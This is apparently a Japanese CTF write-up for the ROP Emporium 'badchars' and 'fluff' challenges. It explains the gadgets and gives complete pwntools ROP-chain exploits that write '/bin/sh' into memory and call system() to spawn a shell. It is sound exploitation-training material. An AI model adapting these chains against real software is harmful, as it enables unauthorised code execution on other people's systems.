ROP Emporium埋め 後半 その1
ROP Emporium埋め 前半の続きです。
後半、書くことが長くなるので更に2つに分けます。
環境 : Ubuntu 20.04 LTS
$ lsb_release -a LSB Version: core-11.1.0ubuntu2-noarch:printing-11.1.0ubuntu2-noarch:security-11.1.0ubuntu2-noarch Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal
5. badchars
32bit
badcharsとして、b i c / <space> f n s
を入力文字列に入れると変えられるという仕組みになっています。
明らかに/bin/sh
意識してますよね。そこでusefulGadgetsを見てみると...
08048890 <usefulGadgets>: 8048890: 30 0b xor BYTE PTR [ebx],cl 8048892: c3 ret 8048893: 89 37 mov DWORD PTR [edi],esi 8048895: c3 ret 8048896: 5b pop ebx 8048897: 59 pop ecx 8048898: c3 ret 8048899: 5e pop esi 804889a: 5f pop edi 804889b: c3 ret 804889c: 66 90 xchg ax,ax 804889e: 66 90 xchg ax,ax
前回同様 mov [edi],esi
がありますが、これに加えて xor [ebx],cl
もあります。
clというのはecxの下位8bitです。ついでにpop ebx; pop ecx;
もありますね。/bin/sh
をxorでエンコードしろって事なんでしょうか。
という訳で、ROPの流れとしては
- bss領域に
/bin/sh
それぞれの文字を0xffとのxorでエンコードしたものを書き込む。 - ecxに0xffを書き込み、clを0xffにする。
- ebxに文字を読み込み、1文字ずつxorでデコードする。
system('/bin/sh')
を呼び出す。
xorは2n回やれば元に戻ります。月刊競技プログラミングは役に立つ!
from pwn import * def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 elf=ELF("./badchars32") p=process("./badchars32") payload=b"A"*44 payload+=p32(0x8048899) # pop esi; pop edi; ret; payload+=p32(f('/bin')^0xffffffff) payload+=p32(elf.bss()) payload+=p32(0x8048893) # mov [edi],esi; ret; payload+=p32(0x8048899) # pop esi; pop edi; ret; payload+=p32(f('/sh\x00')^0xffffffff) payload+=p32(elf.bss()+0x4) payload+=p32(0x8048893) # mov [edi],esi; ret; payload+=p32(0x8048897) # pop ecx; ret; payload+=p32(0xff) for i in range(8): payload+=p32(0x08048916) # pop ebx; ret; payload+=p32(elf.bss()+i) payload+=p32(0x8048890) # xor [ebx],cl; ret; payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(elf.bss()) p.sendlineafter(b"n s\n> ",payload) p.interactive()
シェルが起動すると気持ちが良いですね。
あ^〜たまらねえぜ。
64bit
/bin/sh\x00
の最後までデコードしようとすると何故か落ちるので、途中までにしました(なんで???)
理由が分かる方いたらコメントお願いします。
from pwn import * elf=ELF("./badchars") p=process("./badchars") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*40 payload+=p64(0x400b33) # ret; payload+=p64(0x400b3b) # pop r12; pop r13; ret; payload += p64(f('/bin/sh\x00')^0x0000ffffffffffff) payload+=p64(elf.bss()) payload+=p64(0x400b34) # mov[r13],r12; ret; for i in range(6): payload+=p64(0x400b40) # pop r14; pop r15; ret; payload+=p64(0xff) payload+=p64(elf.bss()+i) payload+=p64(0x400b30) # xor [r15],r14; ret; payload+=p64(0x00400b39) # pop rdi; ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendlineafter(b"f n s\n> ",payload) p.interactive()
6. fluff
32bit
この問題好き過ぎる!パズルになっててマジで楽しい!!!競プロと似た感覚ですね。
questionableGadgets関数の中身はこうなっています。
08048670 <questionableGadgets>: 8048670: 5f pop edi 8048671: 31 d2 xor edx,edx 8048673: 5e pop esi 8048674: bd be ba fe ca mov ebp,0xcafebabe 8048679: c3 ret 804867a: 5e pop esi 804867b: 31 da xor edx,ebx 804867d: 5d pop ebp 804867e: bf be ba ad de mov edi,0xdeadbabe 8048683: c3 ret 8048684: bf ef be ad de mov edi,0xdeadbeef 8048689: 87 ca xchg edx,ecx 804868b: 5d pop ebp 804868c: ba d0 ce fa de mov edx,0xdefaced0 8048691: c3 ret 8048692: 5f pop edi 8048693: 89 11 mov DWORD PTR [ecx],edx 8048695: 5d pop ebp 8048696: 5b pop ebx 8048697: 30 19 xor BYTE PTR [ecx],bl 8048699: c3 ret 804869a: 66 90 xchg ax,ax 804869c: 66 90 xchg ax,ax 804869e: 66 90 xchg ax,ax
これを組み合わせてbss領域に/bin/sh\x00
を書き込みましょう!
まず、書き込むのは0x8048693のmov [ecx],edx
だろうと容易に予想がつきますね。
残念ながらpop ecx
もpop edx
もないので、上手くecx,edxに値を代入する必要があります。
ここで、0x804867bのxor edx,ebx
と0x804868cのmov edx,0xdefaced0
に注目しましょう。
edxに0xdefaced0を代入してから、edxをebxでxorを取ることで任意値を代入できます(バイナリ内にpop ebx
もあります)。
edxに任意値を代入する事ができたので、次はecxに注目してみます。0x8048689でxchg edx,ecx
がありますね。つまり、edxに任意値を
代入した後でこの命令を走らせれば、ecxに任意値を書き込む事ができます。
これでedx,ecxに任意値を書き込む事ができる事が分かりました。最後のmov命令では、retまでの間にecxにblでxorを取っていますが、
blはebxの下位8bitなので、1つ前のpop ebx
でebxに0を入れておけば何も起きません。
というわけで、エクスプロイトコードは以下のようになります。 一発でシェルが起動した時はかなりの快感でしたね。
from pwn import * elf=ELF("./fluff32") p=process("./fluff32") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*44 def rewrite(ecx,edx): res=b"" res+=p32(0x0804868c) # mov edx,0xdefaced0; ret; res+=p32(0x080483e1) # pop ebx; ret; res+=p32(ecx^0xdefaced0) res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret; res+=p32(0) res+=p32(0x08048689) # xchg edx,ecx; pop ebp; mov edx,0xdefaced0; ret; res+=p32(0) res+=p32(0x080483e1) # pop ebx; ret; res+=p32(f(edx)^0xdefaced0) res+=p32(0x0804867b) # xor edx,ebx; pop ebp; mov edi,0xdeadbabe; ret; res+=p32(0) res+=p32(0x08048693) # mov DWORD PTR [ecx],edx; pop ebp; pop ebx; xor [ecx],bl; ret; res+=p32(0) res+=p32(0) return res payload+=rewrite(elf.bss(),'/bin') payload+=rewrite(elf.bss()+4,'/sh\x00') payload+=p32(elf.plt['system']) payload+=b"AAAA" payload+=p32(elf.bss()) p.sendline(payload) p.interactive()
64bit
レジスタの名前が変わった以外のロジックはほぼ同じです。
今回はretをダミーの後と、pltの呼び出し前に置いたら上手く行きました。
まぁpwntoolsの機能でgdbのattachできるのでmovapsで落ちてるとかはすぐ気がつけます。
from pwn import * elf=ELF("./fluff") p=process("./fluff") def f(s): res=0 s=s[::-1] for i in s: res+=ord(i) res*=0x100 return res//0x100 payload=b"A"*40 payload+=p64(0x40082c) # ret; def rewrite(r10,r11): res=b"" res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret; res+=p64(0) res+=p64(0x400845) # mov r11d,0x602050; ret; res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret; res+=p64(r10^0x602050) res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret; res+=p64(0) res+=p64(0x400840) # xchg r11,r10; pop r15; mov r11d,0x602050; ret; res+=p64(0) res+=p64(0x400822) # xor r11,r11; pop r14; mov edi,0x601050; ret; res+=p64(0) res+=p64(0x400845) # mov r11d,0x602050; ret; res+=p64(0x400832) # pop r12; mov r13d,0x604060; ret; res+=p64(f(r11)^0x602050) res+=p64(0x40082f) # xor r11,r12; pop r12; mov r13d,0x604060; ret; res+=p64(0) res+=p64(0x40084e) # mov QWORD PTR [r10],r11; pop r13; pop r12; xor BYTE PTR [r10],r12b; ret; res+=p64(0) res+=p64(0) return res payload+=rewrite(elf.bss(),'/bin/sh\x00') payload+=p64(0x40082c) # ret; payload+=p64(0x004008c3) # pop rdi; ret; payload+=p64(elf.bss()) payload+=p64(elf.plt['system']) p.sendline(payload) p.interactive()